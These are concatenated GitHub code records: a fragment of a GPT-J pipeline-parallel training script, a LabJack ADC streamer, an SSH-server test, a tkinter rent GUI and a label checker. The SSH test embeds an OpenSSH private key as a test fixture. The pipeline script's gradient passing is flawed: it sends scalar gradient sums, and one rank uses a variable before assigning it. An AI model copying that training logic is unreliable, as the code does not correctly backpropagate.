t.nn.Linear(4096, 4096)\n            \n            self.layers = t.nn.Sequential(\n                *[GPTJBlock2(b) for b in model.transformer.h[2*k:3*k]]\n            )\n\n        elif part_num == 3:\n\n            # self.layers = t.nn.Linear(4096, 2)\n            \n            self.layers = t.nn.Sequential(\n                *[GPTJBlock2(b) for b in model.transformer.h[3*k:]],\n                model.transformer.ln_f,\n                model.score\n            )\n\n    def forward(self, x):\n        return self.layers(x)\n\ndef run(\n    rank,\n    size\n):\n    model = t.load(f\"/home/ubuntu/dm_and_nina/days/w3d1/part_{rank}.pt\")\n    model.train()\n    model.to(DEVICES[rank])\n    \n    optimizer = t.optim.SGD(model.parameters(), lr=1e-4)\n\n    num_batches = t.tensor(0).to(DEVICES[rank])\n    labels = t.Tensor()\n    tokens = t.Tensor()\n\n    if rank == 0:\n        tokens, labels = load_data(batch_size=BATCH_SIZE)\n        labels = labels.long()\n        num_batches = t.tensor(tokens.size(dim=0)).to(DEVICES[rank])\n\n    group_all = dist.new_group([0, 1, 2, 3])\n    group_0_3 = dist.new_group([0, 3])\n    group_0_1 = dist.new_group([0, 1])\n    group_1_2 = dist.new_group([1, 2])\n    group_2_3 = dist.new_group([2, 3])\n\n    dist.broadcast(num_batches, src=0, group=group_all)\n\n    dist.barrier()\n\n    for i in range(num_batches.item()):\n\n        dist.barrier()\n\n        label = t.zeros(BATCH_SIZE, dtype=t.long).to(DEVICES[rank])\n        if rank == 0:\n            label = labels[i].to(DEVICES[rank])\n        dist.broadcast(label, src = 0, group=group_0_3)\n        loss = t.Tensor()\n\n        if rank == 0:\n            x = model(tokens[i].to(DEVICES[rank]))\n            x.requires_grad = True\n            dist.broadcast(x, src=0, group=group_0_1)\n        if rank == 1:\n            x = t.zeros(BATCH_SIZE, 128, 4096).to(DEVICES[rank])\n            x.requires_grad = True\n            dist.broadcast(x, src=0, group=group_0_1)\n            x = model(x)\n            dist.broadcast(x, src=1, group=group_1_2)\n        if rank == 2:\n            x = t.zeros(BATCH_SIZE, 128, 4096).to(DEVICES[rank])\n            x.requires_grad = True\n            dist.broadcast(x, src=1, group=group_1_2)\n            x = model(x)\n            dist.broadcast(x, src=2, group=group_2_3)\n        if rank == 3:\n            x = t.zeros(BATCH_SIZE, 128, 4096).to(DEVICES[rank])\n            x.requires_grad = True\n            dist.broadcast(x, src=2, group=group_2_3)\n            x = model(x)\n            loss = t.nn.functional.cross_entropy(x[:,-1,:], label)\n            print(\"Loss\", loss.item())\n\n        # Do backwards for all processes in correct order\n\n        if rank == 0:\n            sum_grads = t.tensor([0]).to(DEVICES[rank])\n            dist.broadcast(sum_grads, src=1, group=group_0_1)\n            out = (x * sum_grads).sum()\n            out.backward()\n            optimizer.step()\n        if rank == 1:\n            sum_grads = t.tensor([0]).to(DEVICES[rank])\n            dist.broadcast(sum_grads, src=2, group=group_1_2)\n            out = (x * sum_grads).sum()\n            out.backward()\n            sum_grads = t.tensor([sum([p.grad.sum().item() for p in model.parameters()])]).to(DEVICES[rank])\n            dist.broadcast(sum_grads, src=1, group=group_0_1)\n        if rank == 2:\n            \n            x_grads = t.zeros_like(x).to(DEVICES[rank])\n            dist.broadcast(sum_grads, src=3, group=group_2_3)\n            out = (x * x_grads).sum()\n            out.backward()\n            sum_grads = t.tensor([sum([p.grad.sum().item() for p in model.parameters()])]).to(DEVICES[rank])\n            dist.broadcast(sum_grads, src=2, group=group_1_2)\n        if rank == 3:\n            loss.backward()\n            x_grads = x.grad\n            dist.broadcast(x_grads, src=3, group=group_2_3)\n        dist.barrier()\n\n    dist.barrier()\n    if rank == 0:\n        killgroup()\n\ndef init_process(\n    rank, size, run, backend=\"nccl\"\n):  # gloo is algo for sharing gradients. nccl better?\n    \"\"\"Initialize the distributed environment.\"\"\"\n    os.environ[\"MASTER_ADDR\"] = \"127.0.0.1\"\n    os.environ[\"MASTER_PORT\"] = \"29504\"  # make the master available for mutual contact\n    dist.init_process_group(backend, rank=rank, world_size=size)\n    print(\"united process group\", rank)\n\n    run(rank, size)\n\n\ndef create_processes(\n    local_parallelism=4,\n):\n    processes = []\n    mp.set_start_method(\"spawn\")\n    for rank in range(local_parallelism):  # process index = rank\n        p = mp.Process(target=init_process, args=(rank, local_parallelism, run))\n        p.start()\n        processes.append(p)\n    # pytorch join requires you to join in order of completion!???\n\n\ndef split_model():\n    if all([os.path.exists(f\"/home/ubuntu/dm_and_nina/days/w3d1/part_{i}.pt\") for i in range(len(DEVICES))]):\n        print(\"Parts already saved\")\n        return\n    model = transformers.AutoModelForSequenceClassification.from_pretrained(\"EleutherAI/gpt-j-6B\")\n    parts = [GPTJPart(model, i) for i in range(len(DEVICES))]\n    for i, part in enumerate(parts):\n        print(f\"Saving part {i}\")\n        t.save(part, f\"/home/ubuntu/dm_and_nina/days/w3d1/part_{i}.pt\")\n\n\nif __name__ == \"__main__\":\n    split_model()\n    create_processes(local_parallelism=len(DEVICES))\n", "repo_name": "danielmamay/mlab", "sub_path": "model_parallel_training/pipeline_parallel.py", "file_name": "pipeline_parallel.py", "file_ext": "py", "file_size_in_byte": 8125, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13, "dataset": "github-code", "pt": "81", "api": [{"api_name": "transformers.models", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 24, "usage_type": "call"}, {"api_name": "torchtext.datasets.IMDB", "line_number": 27, "usage_type": "call"}, {"api_name": "torchtext.datasets", "line_number": 27, "usage_type": "attribute"}, {"api_name": "transformers.AutoTokenizer.from_pretrained", "line_number": 29, "usage_type": "call"}, {"api_name": "transformers.AutoTokenizer", "line_number": 29, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.manual_seed", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.randperm", "line_number": 36, "usage_type": "call"}, {"api_name": "einops.rearrange", "line_number": 40, "usage_type": "call"}, {"api_name": "einops.rearrange", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 47, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 56, "usage_type": "attribute"}, {"api_name": "torch.nn.Sequential", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 70, "usage_type": "attribute"}, {"api_name": "torch.nn.Sequential", "line_number": 80, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 80, "usage_type": "attribute"}, {"api_name": "torch.nn.Sequential", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 88, "usage_type": "attribute"}, {"api_name": "torch.nn.Sequential", "line_number": 96, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 96, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 109, "usage_type": "call"}, {"api_name": "torch.optim.SGD", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 113, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 115, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 116, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 117, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 122, "usage_type": "call"}, {"api_name": "torch.distributed.new_group", "line_number": 124, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 124, "usage_type": "name"}, {"api_name": "torch.distributed.new_group", "line_number": 125, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 125, "usage_type": "name"}, {"api_name": "torch.distributed.new_group", "line_number": 126, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 126, "usage_type": "name"}, {"api_name": "torch.distributed.new_group", "line_number": 127, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 127, "usage_type": "name"}, {"api_name": "torch.distributed.new_group", "line_number": 128, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 128, "usage_type": "name"}, {"api_name": "torch.distributed.broadcast", "line_number": 130, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 130, "usage_type": "name"}, {"api_name": "torch.distributed.barrier", "line_number": 132, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 132, "usage_type": "name"}, {"api_name": "torch.distributed.barrier", "line_number": 136, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 136, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 138, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 138, "usage_type": "attribute"}, {"api_name": "torch.distributed.broadcast", "line_number": 141, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 141, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 142, "usage_type": "call"}, {"api_name": "torch.distributed.broadcast", "line_number": 147, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 147, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 149, "usage_type": "call"}, {"api_name": "torch.distributed.broadcast", "line_number": 151, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 151, "usage_type": "name"}, {"api_name": "torch.distributed.broadcast", "line_number": 153, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 153, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 155, "usage_type": "call"}, {"api_name": "torch.distributed.broadcast", "line_number": 157, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 157, "usage_type": "name"}, {"api_name": "torch.distributed.broadcast", "line_number": 159, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 159, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 161, "usage_type": "call"}, {"api_name": "torch.distributed.broadcast", "line_number": 163, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 163, "usage_type": "name"}, {"api_name": "torch.nn.functional.cross_entropy", "line_number": 165, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 165, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 171, "usage_type": "call"}, {"api_name": "torch.distributed.broadcast", "line_number": 172, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 172, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 177, "usage_type": "call"}, {"api_name": "torch.distributed.broadcast", "line_number": 178, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 178, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 181, "usage_type": "call"}, {"api_name": "torch.distributed.broadcast", "line_number": 182, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 182, "usage_type": "name"}, {"api_name": "torch.zeros_like", "line_number": 185, "usage_type": "call"}, {"api_name": "torch.distributed.broadcast", "line_number": 186, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 186, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 189, "usage_type": "call"}, {"api_name": "torch.distributed.broadcast", "line_number": 190, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 190, "usage_type": "name"}, {"api_name": "torch.distributed.broadcast", "line_number": 194, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 194, "usage_type": "name"}, {"api_name": "torch.distributed.barrier", "line_number": 195, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 195, "usage_type": "name"}, {"api_name": "torch.distributed.barrier", "line_number": 197, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 197, "usage_type": "name"}, {"api_name": "days.w2d5.dataparallel.killgroup", "line_number": 199, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 205, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 206, "usage_type": "attribute"}, {"api_name": "torch.distributed.init_process_group", "line_number": 207, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 207, "usage_type": "name"}, {"api_name": "torch.multiprocessing.set_start_method", "line_number": 217, "usage_type": "call"}, {"api_name": "torch.multiprocessing", "line_number": 217, "usage_type": "name"}, {"api_name": "torch.multiprocessing.Process", "line_number": 219, "usage_type": "call"}, {"api_name": "torch.multiprocessing", "line_number": 219, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 226, "usage_type": "call"}, {"api_name": "os.path", "line_number": 226, "usage_type": "attribute"}, {"api_name": "transformers.AutoModelForSequenceClassification.from_pretrained", "line_number": 229, "usage_type": "call"}, {"api_name": "transformers.AutoModelForSequenceClassification", "line_number": 229, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 233, "usage_type": "call"}]}
{"seq_id": "39046850595", "text": "from labjack import ljm\nimport numpy as np\nimport pandas as pd\nimport time\nimport datetime\n\nclass ADCStream:\n    def __init__(self, labjack):\n        self.labjack = labjack\n\n    def start(self, channels, scanRate):\n        self.scanRate = scanRate\n        # self.effective_scan_rate = scanRate / len(channels)\n        self.channels = channels\n        self.labjack.stream.configure(settling_time=0, resolution_index=0, clock_source=0)\n        self.labjack.stream.set_trigger(None)\n        self.labjack.stream.AIn_start(channels, scanRate)\n\n    def sample(self):\n        return self.labjack.stream.AIn_read()\n\n    def read(self):\n        data = np.array(self.labjack.stream.AIn_read()[0])\n        # tmax = len(data) / len(self.channels) / self.effective_scan_rate\n        # t = time.time() + np.arange(0, tmax, 1/self.effective_scan_rate)\n        now = datetime.datetime.utcnow()\n\n        n = int(len(data) / len(self.channels))\n        dt = 1 / self.scanRate\n        times = []\n        for i in range(n):\n            times.append(now + datetime.timedelta(seconds=i*dt))\n        data = pd.DataFrame(data.reshape(-1, len(self.channels)), columns=self.channels, index=times)\n        return data[data != -9999.0]\n\nif __name__ == '__main__':\n    from labyak import LabJack\n    lj = LabJack(devid='470018943')\n", "repo_name": "robertfasano/labyak", "sub_path": "labyak/adc_stream.py", "file_name": "adc_stream.py", "file_ext": "py", "file_size_in_byte": 1303, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.array", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 26, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 32, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 33, "usage_type": "call"}, {"api_name": "labyak.LabJack", "line_number": 38, "usage_type": "call"}]}
{"seq_id": "20488212421", "text": "import asyncio\nimport pytest\nimport aiosshim\nimport asyncssh\nimport re\n\n\nTEST_KEY = [\n    (\n        b\"\"\"-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW\nQyNTUxOQAAACBxEyJ7K3hkNMYNCm5rmVApg1NmLdbKEFW7EQdES0oreQAAAJgvzwGLL88B\niwAAAAtzc2gtZWQyNTUxOQAAACBxEyJ7K3hkNMYNCm5rmVApg1NmLdbKEFW7EQdES0oreQ\nAAAEAmjeNP84Xd2g+hB3m8cjCwzPe80+kH7JgkzK9Bbw5/hXETInsreGQ0xg0KbmuZUCmD\nU2Yt1soQVbsRB0RLSit5AAAAEXNpbW9uQHVyaWVsLmxvY2FsAQIDBA==\n-----END OPENSSH PRIVATE KEY-----\n\"\"\",\n        b\"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHETInsreGQ0xg0KbmuZUCmDU2Yt1soQVbsRB0RLSit5 aiosshim\",\n    )\n]\n\n\n@pytest.mark.asyncio\nasync def test_basic():\n    async def echo(script: aiosshim.Actor):\n        groups = (await script.expect(re.compile(\"(?P<value>.*)\"))).groupdict()\n        assert groups.get(\"value\", None) == \"test_echo\"\n        script.writeline(\"return {value}\".format(**groups))\n\n    async with await aiosshim.start_server(\n        echo, \"127.0.0.1\", 0, server_host_keys=TEST_KEY\n    ) as server:\n        server: asyncio.base_events.Server\n\n        _, port = next(socket.getsockname() for socket in server.sockets)\n        async with asyncssh.connect(\"127.0.0.1\", port, known_hosts=None) as client:\n            client: asyncssh.SSHClientConnection\n            async with client.create_process() as process:\n                process: asyncssh.SSHClientProcess\n                process.stdin.write(\"test_echo\\n\")\n                assert await process.stdout.readline() == \"return test_echo\\r\\n\"\n\n", "repo_name": "simon-engledew/aiosshim", "sub_path": "src/aiosshim/tests/test_server.py", "file_name": "test_server.py", "file_ext": "py", "file_size_in_byte": 1529, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "aiosshim.Actor", "line_number": 25, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 26, "usage_type": "call"}, {"api_name": "aiosshim.start_server", "line_number": 30, "usage_type": "call"}, {"api_name": "asyncio.base_events", "line_number": 33, "usage_type": "attribute"}, {"api_name": "asyncssh.connect", "line_number": 36, "usage_type": "call"}, {"api_name": "asyncssh.SSHClientConnection", "line_number": 37, "usage_type": "attribute"}, {"api_name": "asyncssh.SSHClientProcess", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 23, "usage_type": "attribute"}]}
{"seq_id": "41012245297", "text": "\n'''\nSergio Chairez\nMaksym Sagadin\nFront End GUI for rent.py\n'''\n\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\nimport matplotlib.pyplot as plt\nfrom matplotlib.figure import Figure\nimport os\nfrom os import path\nimport sys\nimport tkinter as tk\nfrom tkinter import ttk\nimport tkinter.messagebox as tkmb\nimport rent\nimport matplotlib\nmatplotlib.use(\"TkAgg\")\n\n\n\ndef gui2fg():\n    \"\"\"Brings tkinter GUI to foreground on Mac\n       Call gui2fg() after creating main window and before mainloop() start\n    \"\"\"\n    if sys.platform == 'darwin':\n        tmpl = 'tell application \"System Events\" to set frontmost of every process whose unix id is %d to true'\n        os.system(\"/usr/bin/osascript -e '%s'\" % (tmpl % os.getpid()))\n\n\nclass MainWindow(tk.Tk):\n\n    def __init__(self, *filenames):\n        super().__init__()\n        #for filename in filenae\n        try:\n            self.cityInfoList, self.rentArr, self.unique_cities = rent.read_data(*filenames)\n            #print(self.cityInfoList)\n            #print(self.rentArr[0])\n        except IOError as e:\n            self.withdraw()  #removes Master window\n            # tkmb.showerror(\"Error\", e)\n            if path.exists(filenames[0]) == False and path.exists(filenames[1]) == False:\n                tkmb.showerror(\"Error\",f\"Can't Open: {filenames}, they were not found\")\n            elif path.exists(filenames[0]) == False:\n                tkmb.showerror(\"Error\",f\"Can't Open: {filenames[0]}, it was not found\")\n            else: #path.exists(filenames[1]) == False:\n                tkmb.showerror(\"Error\",f\"Can't Open: {filenames[1]}, it was not found\")\n            \n            raise SystemExit(e) #or we can do return?\n\n        # If either of the file open is not successful, a messagebox window will show up to let the user know that there is a file open error, with the specific file name.\n        self.meanMonthlyCityRatesArr = rent.mean_rental_price(\n            self.cityInfoList, self.rentArr, self.unique_cities)\n\n        self.title('Rental Prices')\n        self.geometry(\"500x200\")\n        self.container = tk.Frame(self)\n\n        # weight = 0 means their size is fixed\n        # weight = 1 means it takes up as much room as it needs to\n        # makes changes to the grid rows/cols\n        # weights make that col/row more of a priority when expanding the window\n        self.container.columnconfigure(0, weight=1)\n        self.container.columnconfigure(1, weight=1)\n        self.container.rowconfigure(0, weight=0)\n        self.container.rowconfigure(1, weight=1)\n        self.container.rowconfigure(2, weight=0)\n        label = tk.Label(background='blue',\n                         text=\"Rent Data for Santa Clara County\",\n                         fg='white',\n                         font=('Helvetica', 28))\n\n        label.grid(\n            row=0, column=0,\n            sticky='ew',\n            padx=10, pady=10\n        )\n        label2 = tk.Label(\n            text=\"This application gives you info on rental prices for a \\n 2-bedroom place in Santa Clara County\",\n            font=('Helvetica', 16)\n        )\n\n        label2.grid(\n            row=1, column=0,\n            sticky='ew',\n\n        )\n        self.rental_price_option_buttons()\n        self.protocol(\"WM_DELETE_WINDOW\", self.on_exit)\n\n    def on_exit(self):\n        '''\n        This function opens a message box asking if the user wants to quit\n        Then quits out of the program if the user clicks yes\n        '''\n        if tkmb.askyesno(\"Exit\", \"Do you want to quit the application?\"):\n            self.quit()\n\n    def rental_price_option_buttons(self):\n        '''\n        This function creates the buttons for the Main Window\n        '''\n        buttons_frame = tk.Frame(self)\n        buttons_frame.grid(\n            row=2, column=0, sticky='nsew', padx=10, pady=10)\n        #buttons_frame.config(bg='blue')\n        buttons_frame.columnconfigure(0, weight=0)\n        buttons_frame.columnconfigure(1, weight=0)\n        buttons_frame.columnconfigure(2, weight=0)\n\n        self.rental_trend_button = tk.Button(\n            buttons_frame, text='Rental Price Trend',\n            command=self._rental_price_trends)\n        self.rental_trend_button.grid(\n            row=2, column=0, sticky='ew', padx=15, pady=10)\n\n        self.current_rental_prices_button = tk.Button(\n            buttons_frame, text='Current Rental Prices', command=self._current_rental_prices)\n\n        self.current_rental_prices_button.grid(\n            row=2, column=1, sticky='ew', padx=15, pady=10)\n\n        self.but_about = tk.Button(buttons_frame, text=\"About\",\n                                   command=self._about_info)\n        self.but_about.grid(\n            row=2, column=2, sticky='ew', padx=15, pady=10)\n\n    #button1 logic\n    def _rental_price_trends(self):\n        dialogWin = DialogWindow(self,\n                                 self.meanMonthlyCityRatesArr, self.cityInfoList, \n                                 self.unique_cities,rent.plot_rental_price_trend)\n        dialogWin.grab_set()  #do this in DialogWindow() class\n        dialogWin.focus_set() #do this in DialogWindow() class\n\n    # button2 logic\n    def _current_rental_prices(self):\n        PlotWindow(self.rentArr, self.cityInfoList, plotopt=\"current_rental_prices\")\n\n    # button3 logic\n    def _about_info(self):\n        credits = \"Credits:\\nSergio Chairez\\nMaksym Sagadin\"\n        tkmb.showinfo(\"Credits\", credits)\n\n\nclass DialogWindow(tk.Toplevel):\n    def __init__(self, master, meanMonthlyCityRatesArr, cityInfoList, unique_cities,\n                 plot_rental_price_trend):\n        super().__init__(master)\n        self.meanMonthlyCityRatesArr = meanMonthlyCityRatesArr\n        self.cityInfoList = cityInfoList\n        self.unique_cities = unique_cities\n        self.plot = plot_rental_price_trend\n        self.title('Choose a City')\n        self.geometry(\"200x300\")\n        if 'All' not in unique_cities:\n            unique_cities.append('All')\n\n        self.options_frame = tk.Frame(self)\n        self.options_frame.grid(\n            row=10, column=0, sticky='nsew', padx=30, pady=30)\n\n\n        self.cityChoice = tk.StringVar()\n        #default to SJ\n        self.cityChoice.set('San Jose')\n        for val in unique_cities:\n            tk.Radiobutton(self.options_frame,\n                           text=val,\n                           padx=20,\n                           variable=self.cityChoice,\n                           value=val).pack(anchor=tk.W)\n\n        self.saveButton = tk.Button(self, text='SAVE',\n                                    command=self.display_rental_price_trend).grid()\n\n        self.grab_set()\n        self.focus_set()\n\n    def display_rental_price_trend(self):\n        ''' Prints which city was selected and initializes the Plot Window Class '''\n        citySelected = self.cityChoice.get()\n        print(citySelected)  \n        self.destroy()\n\n        PlotWindow(self.meanMonthlyCityRatesArr, self.cityInfoList,self.unique_cities,citySelected, plotopt=\"plot_rental_price_trend\")\n\n\nclass PlotWindow(tk.Toplevel):\n    def __init__(self, *args, plotopt=None):\n        super().__init__()\n\n        self.fig = plt.figure(figsize=(14, 5), dpi=100)\n        if plotopt == \"plot_rental_price_trend\":\n            self._rental_price_plot(*args)\n        elif plotopt == \"current_rental_prices\":\n            self._current_price_plot(*args)  \n\n    def _rental_price_plot(self, *args):\n        '''This function plots the rental price for the city selected'''\n        \n        self.focus_set()\n        self.title(f\"Rental Price Trend for {args[3]}\")\n        self.plot1 = rent.plot_rental_price_trend\n        self.plot1(*args)\n\n        canvas = FigureCanvasTkAgg(self.fig, master=self)\n        canvas.get_tk_widget().grid()\n        canvas.draw()\n\n    def _current_price_plot(self, *args):\n        '''This function plots the current rental prices for all the cities'''\n        self.grab_set()\n        self.focus_set()\n        self.plot2 = rent.bar_graph_zip\n        self.plot2(*args)\n        canvas = FigureCanvasTkAgg(self.fig, master=self)\n        canvas.get_tk_widget().grid()\n        canvas.draw()\n\n\nif __name__ == '__main__':\n\n    filenames = ['zipCity.csv', 'rent.csv']\n    run = MainWindow(*filenames)\n    gui2fg()\n    run.mainloop()\n\n", "repo_name": "maksymsagadin/Rental-Listings", "sub_path": "rent_front.py", "file_name": "rent_front.py", "file_ext": "py", "file_size_in_byte": 8258, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "matplotlib.use", "line_number": 19, "usage_type": "call"}, {"api_name": "sys.platform", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 29, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 29, "usage_type": "call"}, {"api_name": "tkinter.Tk", "line_number": 32, "usage_type": "attribute"}, {"api_name": "rent.read_data", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 45, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 45, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 47, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 47, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showerror", "line_number": 49, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 49, "usage_type": "name"}, {"api_name": "rent.mean_rental_price", "line_number": 54, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 59, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 70, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 80, "usage_type": "call"}, {"api_name": "tkinter.messagebox.askyesno", "line_number": 98, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 98, "usage_type": "name"}, {"api_name": "tkinter.Frame", "line_number": 105, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 113, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 119, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 125, "usage_type": "call"}, {"api_name": "rent.plot_rental_price_trend", "line_number": 134, "usage_type": "attribute"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 145, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 145, "usage_type": "name"}, {"api_name": "tkinter.Toplevel", "line_number": 148, "usage_type": "attribute"}, {"api_name": "tkinter.Frame", "line_number": 161, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 166, "usage_type": "call"}, {"api_name": "tkinter.Radiobutton", "line_number": 170, "usage_type": "call"}, {"api_name": "tkinter.W", "line_number": 174, "usage_type": "attribute"}, {"api_name": "tkinter.Button", "line_number": 176, "usage_type": "call"}, {"api_name": "tkinter.Toplevel", "line_number": 191, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 195, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 195, "usage_type": "name"}, {"api_name": "rent.plot_rental_price_trend", "line_number": 206, "usage_type": "attribute"}, {"api_name": "matplotlib.backends.backend_tkagg.FigureCanvasTkAgg", "line_number": 209, "usage_type": "call"}, {"api_name": "rent.bar_graph_zip", "line_number": 217, "usage_type": "attribute"}, {"api_name": "matplotlib.backends.backend_tkagg.FigureCanvasTkAgg", "line_number": 219, "usage_type": "call"}]}
{"seq_id": "40142355611", "text": "import numpy as np\nimport util as u\nimport matplotlib.pyplot as plt\n\n\ndef check_labels(im,show=True):\n    try:\n        im = u.util.tensor2im(im, normalize=False)\n    except AttributeError as e:\n        print(e)\n        print('not a tensor - ', type(im))\n\n    n_zeros = im[im < 1].size\n    n_elems = im.size\n\n    if n_zeros == n_elems:\n        if show:\n            do_show(im)\n        raise ValueError('image all 0s!')\n    else:\n        if show:\n            do_show(im)\n        print('image good! size {}, zeros {}'.format(n_elems,n_zeros))\n\n\ndef do_show(im):\n    print(im.shape)\n    plt.imshow(im)\n    plt.show()\n\ndef test_label(f):\n    from PIL import Image\n    im = Image.open(f)\n    im = np.array(im)\n    check_labels(im)\n\n\n#test_label('../checkpoints/block2label/web/images/epoch002_real_image.jpg')\n", "repo_name": "DanKDorda/SemanticUpscaling_4YP", "sub_path": "util/check_label.py", "file_name": "check_label.py", "file_ext": "py", "file_size_in_byte": 804, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "util.util.tensor2im", "line_number": 8, "usage_type": "call"}, {"api_name": "util.util", "line_number": 8, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 33, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 33, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 34, "usage_type": "call"}]}
